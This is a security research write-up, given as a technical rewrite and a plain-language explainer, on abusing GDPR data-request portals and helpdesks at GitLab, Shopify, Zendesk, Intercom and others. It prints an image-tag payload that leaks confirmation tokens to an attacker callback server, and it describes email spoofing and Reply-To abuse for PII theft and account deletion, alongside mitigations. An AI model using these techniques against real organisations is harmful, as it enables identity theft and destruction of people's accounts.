Hx01 Abusing Data Protection Laws For D0xing & Account Takeovers
Table of contents: •Introducon •Exploitaon •Vulnerable DSAR SaaS's •Improper Incoming Email Authencaon & Weird Behaviors •Big Oof Moments 🤪 •Stats For Nerds •Migaon
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up looks at how the rights granted by the General Data Protection Regulation (GDPR) can be turned against the organisations that have to honour them. GDPR is an EU law with mandatory rules for how organisations and companies must use personal data in an integrity friendly way. Personal data means any information which, directly or indirectly, could identify a living person: name, phone number and address are schoolbook examples, but interests, information about past purchases, health and online behaviour also count because they could identify a person.
When GDPR was enforced back in 2018 it granted individuals eight data subject rights:
- Right to be informed
- Right of access
- Right to rectification
- Right to be forgotten
- Right to data portability
- Right to object to processing
- Rights in relation to automated decision making and profiling
A Data Subject Access Request (DSAR) is a request addressed to the organisation that gives individuals a right to access information about personal data the organisation is processing about them, and to exercise that right easily, at reasonable intervals, in order to be aware of, and verify, the lawfulness of the processing.
Organisations may accept DSAR requests from the following channels:
- DSAR portals, for example datagrail.io or onetrust.com
- Customer support SaaS, for example Zendesk, Intercom or Atlassian
- Email to the data protection department, for example [redacted] or [redacted]
The target of the research is therefore not a single application but the whole DSAR intake pipeline: the portals, the support SaaS that parses incoming email, and the humans who answer the tickets.
Setup
The researcher observed that even organisations with battle-hardened security often lacked preventive measures against DSAR request impersonation, ranging from a lack of email confirmations to an SSTI affecting multiple organisations. The work was scaled with a bot that automated the abuse cases and filtered out vulnerable organisations. The target list consisted of 759 domains with responsible disclosure. No specific tooling versions are given beyond that.
Finding it
The starting observation is a mismatch between how much security effort goes into the product and how little goes into the DSAR process around it. Three classes of weakness came out of that:
- DSAR portals that let unauthenticated users exercise GDPR rights without email verification.
- A DSAR SaaS whose email confirmation could be abused for HTML injection and template markup injection, leading to token theft.
- Support SaaS instances that accept incoming email without authentication, or that trust headers such as Reply-To in ways that leak the response.
Exploitation
Step 1: unauthenticated DSAR forms
Some of the DSAR portals allowed unauthenticated users to exercise the GDPR rights without email verification. That allowed an attacker to delete or edit account information for users. The report shows the email response received after submitting the DSAR form.
Step 2: SSTI in the email confirmation
An undisclosed DSAR SaaS used by 6,000 clients, including Fortune 500s, was vulnerable to HTML injection in the name field, which was reflected in the email confirmation. On further investigation it was discovered that the SaaS allowed customers to brand and edit their emails and allowed template markups. Appending the following template would allow an attacker to retrieve the email confirmation token:
<img src="//<yourcallbackserver>/bc?callback=__RequestLink__">
The report notes that email clients will try to load the image (callback URL) that will reveal the victim's email confirmation link.
Step 3: insecure Zendesk instances
Few organisations accepting DSAR through Zendesk had incoming email authentication enabled. Sending a spoofed email from the victim's email address, with the attacker's email address in CC, would have allowed an attacker to request the user's PII. The report shows the spoofed GDPR request sent from the victim's email with the attacker as CC, and the attacker's inbox afterwards.
The support agent handling the GDPR request sent back the PII without request verification. Since the attacker was CC'd in the spoofed email, the attacker received a copy of the PII data too.
Step 4: Reply-To versus customer support email parsers
Email requests with a different Reply-To address caused an interesting behaviour, which further helped in exfiltration of user PII where the customers had enabled incoming email authentication or did not have CC enabled. The report compares three platforms:
| Platform | Vulnerable? | Observation |
|---|---|---|
| Intercom | Yes | Intercom used to process the email requests, and when a customer agent replied to the support ticket the replies were sent to the Reply-To emails. However, reply-to emails were not visible. This led to DPOs sending data packages to attackers. |
| Zendesk | Yes | Zendesk ignores the sender email address and uses the Reply-To email address as requester. This leads to incoming email authentication bypass. |
| Atlassian | No | Atlassian ignores the Reply-To email address. |
Intercom fixed this by showing the Reply-To address, if any, to the support agent as a caution.
Step 5: improper DSAR processes
A few organisations did complete request verification for exercising the right to access. However, a data deletion request would get processed without any verification.
Step 6: the big oof moments
- GitLab did not have spam filters enabled nor DSAR verification. This allowed an attacker to send an email with an email spoofer, for example http://emkei.cz, posing as a victim, and GitLab's flow would permanently delete all of the data and user account associated with that email address. The researcher credits GitLab for fixing the issue quickly.
- A popular movie streaming platform and Tesla had a similar workflow implemented like GitLab, however only affecting expired memberships, whereas Tesla only deleted users with no transaction history.
- Shopify used a poorly configured Zendesk instance (shopifylegal.Zendesk.Com). After successful data extraction it would send the data to the victim as well as to the attacker, and also gave a sneak peek of their admin panel. Shopify clarified on billing details that only the last 4 digits of the credit card were visible, whereas bank details were also in redacted form. The issue has been resolved since 14th Aug, 2020.
Step 7: scaling with a bot
After understanding the basic abuse cases, a bot was created to automate those tests and filter out vulnerable organisations. The results:
- 117 GDPR requests sent through emails bounced because either the given email did not exist or a spam filter detected them.
- 134 organisations asked for identity verification.
- 57 organisations, including Fortune 500s such as Tesla and Atlassian, were vulnerable.
- 451 organisations were still in the process of data extraction or do not monitor DPO emails.
Root cause
Portals accept unauthenticated submissions without confirming the email address before forwarding to automated flows. Support SaaS instances either do not enable incoming email authentication, so a spoofed sender is accepted, or they trust the Reply-To header as the requester identity, which bypasses sender authentication. Human agents then complete the chain by sending PII without verification, or by replying to the Reply-To address. In a few organisations, deletion requests were processed without any verification.
Impact
Under the conditions described, an attacker could delete or edit account information for users through unauthenticated DSAR forms, steal email confirmation tokens through the template injection, obtain PII by spoofing a victim's email to a Zendesk instance with incoming email authentication disabled, and receive PII indirectly through Reply-To handling in Intercom and Zendesk. Where deletion flows lacked verification, an attacker could permanently delete all of the data and user account associated with an email address, as with GitLab, or delete expired memberships and users with no transaction history, as with the streaming platform and Tesla. In the Shopify case the data was sent to the victim as well as to the attacker, with a sneak peek of their admin panel; only the last 4 digits of the credit card were visible and bank details were redacted.
Fix
The report lists the following mitigations:
- Red team exercises.
- Succinct guidelines for all GDPR processes.
- Identity verification before processing requests through SaaS like datagrail.io.
- Use of spam filters and incoming email authentication.
- DSAR forms must confirm the email address before forwarding the requests to automated flows.
- Disable CC on instances; if not feasible, do not process DSAR requests with other participants than the requester.
Specific fixes noted in the report: GitLab fixed its issue quickly, Intercom fixed this by showing the Reply-To address to the support agent as a caution, and the Shopify issue has been resolved since 14th Aug, 2020.
Variants to test
- Submit a DSAR form unauthenticated and check whether the response confirms the action without an email confirmation step. A positive result is an email confirming deletion or edit of account data for an address you do not control.
- Put markup in profile fields such as name and trigger a confirmation email. A positive result is your callback server receiving a request containing the confirmation link.
- Send a spoofed DSAR email from a victim address with your own address in CC to a support SaaS instance. A positive result is a reply containing PII, or a copy of that reply in your inbox.
- Send a DSAR email with a Reply-To different from the sender and observe where the agent's reply goes. A positive result is the reply arriving at the Reply-To address, or the requester identity being taken from Reply-To.
- Submit a deletion request and an access request separately. A positive result is the deletion being processed without the verification that the access request required.
Contact for the research: [redacted] Shoutout to @trenton for helping in mass scaling this research.
What happened, in plain words
Every company in Europe has to follow a set of privacy rules called the General Data Protection Regulation, or GDPR. One of the rights those rules give you is the right to ask a company what personal information it holds about you, and to ask it to correct or delete that information. A request like this is called a Data Subject Access Request, or DSAR.
Because companies receive a lot of these requests, they usually do not handle them by hand. They use web forms, or they let people email a privacy address, or they plug in a third-party service that manages the whole process. This research looked at that intake process rather than at the companies' main websites, and found that many organisations with otherwise strong security had left the DSAR door wide open. In some cases an attacker could pretend to be someone else and have that person's account information deleted or edited, or receive a copy of their personal data.
This article walks through the same findings in the same order as the technical write-up, but explains every idea from scratch. You only need to know how to use a browser.
Background: what GDPR and a DSAR are
GDPR is an EU law with mandatory rules for how organisations and companies must use personal data in an integrity friendly way. Personal data means any information which, directly or indirectly, could identify a living person. Name, phone number and address are schoolbook examples, but interests, information about past purchases, health and online behaviour also count, because they could identify a person.
When GDPR was enforced back in 2018 it granted individuals eight data subject rights:
- Right to be informed
- Right of access
- Right to rectification
- Right to be forgotten
- Right to data portability
- Right to object to processing
- Rights in relation to automated decision making and profiling
A Data Subject Access Request (DSAR) is a request addressed to the organisation that gives individuals a right to access information about personal data the organisation is processing about them, and to exercise that right easily, at reasonable intervals, in order to be aware of, and verify, the lawfulness of the processing.
In everyday terms: you are allowed to walk up to a company and say "show me what you know about me, fix what is wrong, or forget me". The company has to make that easy for you.
Organisations may accept DSAR requests from the following channels:
- DSAR portals, for example datagrail.io or onetrust.com
- Customer support SaaS, for example Zendesk, Intercom or Atlassian
- Email to the data protection department, for example [redacted] or [redacted]
A few of those words need unpacking. A portal is simply a website with a form where you type your request. SaaS stands for Software as a Service: software that another company runs for you over the internet, so you do not install it yourself. Zendesk, Intercom and Atlassian are examples of SaaS that companies use to run their customer support helpdesk. A DPO is a Data Protection Officer, the person inside a company responsible for privacy matters.
The important point is that the target of this research is not a single application but the whole DSAR intake pipeline: the portals, the support SaaS that parses incoming email, and the humans who answer the tickets.
Setup: how the research was done
The researcher observed that even organisations with battle-hardened security often lacked preventive measures against DSAR request impersonation, ranging from a lack of email confirmations to an SSTI affecting multiple organisations.
"Impersonation" means pretending to be someone else. "SSTI" is the term the report uses; step 2 below describes the HTML injection and template markup involved.
The work was scaled with a bot that automated the abuse cases and filtered out vulnerable organisations. A bot here is a small program that repeats the same test against many websites automatically, like a robot that fills in the same form hundreds of times. The target list consisted of 759 domains with responsible disclosure. "Responsible disclosure" means the organisation has publicly said it welcomes security reports and will handle them properly, so testing it is allowed.
No specific tooling versions are given beyond that.
Finding it: the three weak spots
The starting observation is a mismatch between how much security effort goes into the product and how little goes into the DSAR process around it. Companies spend heavily on protecting their main website, then bolt on a privacy request form that nobody reviews. Three classes of weakness came out of that:
- DSAR portals that let unauthenticated users exercise GDPR rights without email verification.
- A DSAR SaaS whose email confirmation could be abused for HTML injection and template markup injection, leading to token theft.
- Support SaaS instances that accept incoming email without authentication, or that trust headers such as Reply-To in ways that leak the response.
"Unauthenticated" means you are not logged in and have not proved who you are. "HTML injection" means putting your own web-page code into a place where the site expected only plain text. "Token theft" means stealing a short secret string that the system uses to recognise you, the same way a coat-check ticket proves a coat is yours. "Headers" are the hidden labels on an email, such as who sent it and where a reply should go; they are explained in step 4.
Exploitation
Step 1: unauthenticated DSAR forms
Some of the DSAR portals allowed unauthenticated users to exercise the GDPR rights without email verification. That allowed an attacker to delete or edit account information for users.
Think about what that means in practice. You visit a privacy form, type in somebody else's email address, and ask for the account to be deleted. If the form does not send a confirmation email to that address and wait for a click, nothing stops you. The person whose account it is never gets a say.
The report shows the email response received after submitting the DSAR form.
Step 2: SSTI in the email confirmation
An undisclosed DSAR SaaS used by 6,000 clients, including Fortune 500s, was vulnerable to HTML injection in the name field, which was reflected in the email confirmation. "Undisclosed" means the report does not name the company. "Fortune 500" is a list of the largest American companies, so this was a service used by very big names.
On further investigation it was discovered that the SaaS allowed customers to brand and edit their emails and allowed template markups. "Branding" means putting your company logo and colours on the emails the service sends out. "Template markup" means the email is not fixed text but a template with blanks that get filled in, and the customer can edit those blanks.
Appending the following template would allow an attacker to retrieve the email confirmation token:
<img src="//<yourcallbackserver>/bc?callback=__RequestLink__">
<img ...>is the HTML tag for an image. When an email or web page contains it, the program displaying the message tries to download the picture from the address given insrc.src="..."is where the picture lives. Here it points at<yourcallbackserver>, which is a server the attacker controls. A callback server is just a computer the attacker runs that records every request it receives, like a receptionist writing down every visitor's name.//at the start means "use the same protocol as the page", so the browser or email client fills inhttporhttpsautomatically./bc?callback=__RequestLink__is the path and the query string. The part after?is a query parameter, a named value sent along with the request. Here the name iscallbackand the value is__RequestLink__.__RequestLink__is a template variable. The SaaS replaces it with the victim's email confirmation link before sending the email. A template variable is a placeholder, like the blank in "Dear ____".
The report notes that email clients will try to load the image (callback URL) that will reveal the victim's email confirmation link. In other words, the moment the victim opens the email, their email program fetches the picture, and the secret link travels to the attacker's server as part of that request.
Step 3: insecure Zendesk instances
Few organisations accepting DSAR through Zendesk had incoming email authentication enabled. "Incoming email authentication" is a set of checks that let a mail server confirm that an email really came from the address it claims. Without it, anyone can forge the sender.
Sending a spoofed email from the victim's email address, with the attacker's email address in CC, would have allowed an attacker to request the user's PII. PII stands for Personally Identifiable Information, which is the same idea as personal data. CC means carbon copy: an extra recipient who receives a copy of the message.
The report shows the spoofed GDPR request sent from the victim's email with the attacker as CC, and the attacker's inbox afterwards.
The support agent handling the GDPR request sent back the PII without request verification. Since the attacker was CC'd in the spoofed email, the attacker received a copy of the PII data too.
Step 4: Reply-To versus customer support email parsers
Every email carries hidden labels called headers. Two matter here. The From header says who sent the message. The Reply-To header says where a reply should be sent if that is different from the sender. It exists for legitimate reasons, for example a mailing list that wants replies to go to a person rather than the list address.
A parser is a program that reads incoming text and picks out the pieces it needs. A helpdesk parses incoming email to work out who the requester is, what the subject is, and so on.
Email requests with a different Reply-To address caused an interesting behaviour, which further helped in exfiltration of user PII where the customers had enabled incoming email authentication or did not have CC enabled. Exfiltration means getting data out to a place the attacker can read.
The report compares three platforms:
| Platform | Vulnerable? | Observation |
|---|---|---|
| Intercom | Yes | Intercom used to process the email requests, and when a customer agent replied to the support ticket the replies were sent to the Reply-To emails. However, reply-to emails were not visible. This led to DPOs sending data packages to attackers. |
| Zendesk | Yes | Zendesk ignores the sender email address and uses the Reply-To email address as requester. This leads to incoming email authentication bypass. |
| Atlassian | No | Atlassian ignores the Reply-To email address. |
Read the table like this. With Intercom, the agent saw a normal ticket and replied, but the reply quietly went to the attacker's address because that is what Reply-To said, and the agent could not see that. With Zendesk, the helpdesk decided who the requester was by looking at Reply-To instead of From, which leads to incoming email authentication bypass. Atlassian simply ignored Reply-To, which is why it was not vulnerable.
Intercom fixed this by showing the Reply-To address, if any, to the support agent as a caution.
Step 5: improper DSAR processes
A few organisations did complete request verification for exercising the right to access. However, a data deletion request would get processed without any verification.
In plain terms: in a few organisations, asking to see your data required proof of identity, but a data deletion request did not.
Step 6: the big oof moments
"Big oof" is internet slang for a painful mistake. These are the individual company cases.
- GitLab did not have spam filters enabled nor DSAR verification. This allowed an attacker to send an email with an email spoofer, for example http://emkei.cz, posing as a victim, and GitLab's flow would permanently delete all of the data and user account associated with that email address. The researcher credits GitLab for fixing the issue quickly.
An email spoofer is a website or tool that sends email with a From address you choose, without needing access to that mailbox. A spam filter is the check that decides whether an incoming message looks like junk; with it off, forged messages sail straight through.
- A popular movie streaming platform and Tesla had a similar workflow implemented like GitLab, however only affecting expired memberships, whereas Tesla only deleted users with no transaction history.
The report says these had a similar workflow to GitLab, affecting only expired memberships, whereas Tesla only deleted users with no transaction history.
- Shopify used a poorly configured Zendesk instance (shopifylegal.Zendesk.Com). After successful data extraction it would send the data to the victim as well as to the attacker, and also gave a sneak peek of their admin panel. Shopify clarified on billing details that only the last 4 digits of the credit card were visible, whereas bank details were also in redacted form. The issue has been resolved since 14th Aug, 2020.
"Redacted" means blacked out or masked. An admin panel is the private control screen that staff use to manage the system; seeing part of it is a sign of how far in the attacker got.
Step 7: scaling with a bot
After understanding the basic abuse cases, a bot was created to automate those tests and filter out vulnerable organisations. The results:
- 117 GDPR requests sent through emails bounced because either the given email did not exist or a spam filter detected them.
- 134 organisations asked for identity verification.
- 57 organisations, including Fortune 500s such as Tesla and Atlassian, were vulnerable.
- 451 organisations were still in the process of data extraction or do not monitor DPO emails.
"Bounced" means the message was rejected and came back undelivered.
Root cause
Portals accept unauthenticated submissions without confirming the email address before forwarding to automated flows. Support SaaS instances either do not enable incoming email authentication, so a spoofed sender is accepted, or they trust the Reply-To header as the requester identity, which bypasses sender authentication. Human agents then complete the chain by sending PII without verification, or by replying to the Reply-To address. In a few organisations, deletion requests were processed without any verification.
In one sentence: the system believed whatever the form or the email said, and the person on the other end did too.
Impact
Under the conditions described, an attacker could delete or edit account information for users through unauthenticated DSAR forms, steal email confirmation tokens through the template injection, obtain PII by spoofing a victim's email to a Zendesk instance with incoming email authentication disabled, and receive PII indirectly through Reply-To handling in Intercom and Zendesk. Where deletion flows lacked verification, an attacker could permanently delete all of the data and user account associated with an email address, as with GitLab, or delete expired memberships and users with no transaction history, as with the streaming platform and Tesla. In the Shopify case the data was sent to the victim as well as to the attacker, with a sneak peek of their admin panel; only the last 4 digits of the credit card were visible and bank details were redacted.
Fix
The report lists the following mitigations:
- Red team exercises.
- Succinct guidelines for all GDPR processes.
- Identity verification before processing requests through SaaS like datagrail.io.
- Use of spam filters and incoming email authentication.
- DSAR forms must confirm the email address before forwarding the requests to automated flows.
- Disable CC on instances; if not feasible, do not process DSAR requests with other participants than the requester.
A red team exercise is a drill where a company pays people to attack it on purpose, so the defenders can practise. "Succinct guidelines" means short, clear written rules, because a long policy nobody reads protects nobody.
Specific fixes noted in the report: GitLab fixed its issue quickly, Intercom fixed this by showing the Reply-To address to the support agent as a caution, and the Shopify issue has been resolved since 14th Aug, 2020.
Variants to test
If you want to check your own organisation, these are the same tests in checklist form. Only do this on systems you are allowed to test.
- Submit a DSAR form unauthenticated and check whether the response confirms the action without an email confirmation step. A positive result is an email confirming deletion or edit of account data for an address you do not control.
- Put markup in profile fields such as name and trigger a confirmation email. A positive result is your callback server receiving a request containing the confirmation link.
- Send a spoofed DSAR email from a victim address with your own address in CC to a support SaaS instance. A positive result is a reply containing PII, or a copy of that reply in your inbox.
- Send a DSAR email with a Reply-To different from the sender and observe where the agent's reply goes. A positive result is the reply arriving at the Reply-To address, or the requester identity being taken from Reply-To.
- Submit a deletion request and an access request separately. A positive result is the deletion being processed without the verification that the access request required.
Contact for the research: [redacted] Shoutout to @trenton for helping in mass scaling this research.
Glossary
- GDPR: the EU law that sets rules for how organisations may use personal data.
- Personal data: any information that could identify a living person, directly or indirectly.
- Data subject: the person the data is about, in other words you.
- DSAR (Data Subject Access Request): a request to an organisation to see, correct or delete the personal data it holds about you.
- DPO: Data Protection Officer, the person inside a company responsible for privacy.
- PII: Personally Identifiable Information, another name for personal data.
- Portal: a website with a form where you submit a request.
- SaaS: Software as a Service, software run by another company and used over the internet.
- Zendesk, Intercom, Atlassian: helpdesk products that companies use to handle customer support email.
- Unauthenticated: not logged in, with no proof of who you are.
- Impersonation: pretending to be someone else.
- HTML: the language web pages and emails are written in.
- HTML injection: putting your own HTML into a place that expected plain text.
- Template: a message with blanks that get filled in before it is sent.
- Template variable: a named blank such as
__RequestLink__that the system replaces with a real value. - SSTI (Server-Side Template Injection): abusing a template so the server fills in something you were not meant to control.
- Token: a short secret string that proves identity or grants access, like a coat-check ticket.
- Callback server: a server the attacker controls that records every request it receives.
- Query parameter: a named value attached to a URL after a
?. - Email header: a hidden label on an email, such as From or Reply-To.
- From header: the header saying who sent the email.
- Reply-To header: the header saying where a reply should go, which can differ from the sender.
- CC: carbon copy, an extra recipient who gets a copy of the message.
- Email spoofing: sending email with a sender address you do not own.
- Incoming email authentication: checks that confirm an email really came from the address it claims.
- Spam filter: the check that decides whether an incoming message looks like junk.
- Parser: a program that reads text and extracts the pieces it needs.
- Exfiltration: getting data out to a place the attacker can read.
- Bot: a program that repeats a task automatically across many targets.
- Responsible disclosure: a policy where an organisation welcomes security reports and handles them properly.
- Red team exercise: a drill where people are paid to attack a company on purpose.
- Redacted: masked or blacked out.
- Admin panel: the private control screen staff use to manage a system.
- Bounced: an email that was rejected and returned undelivered.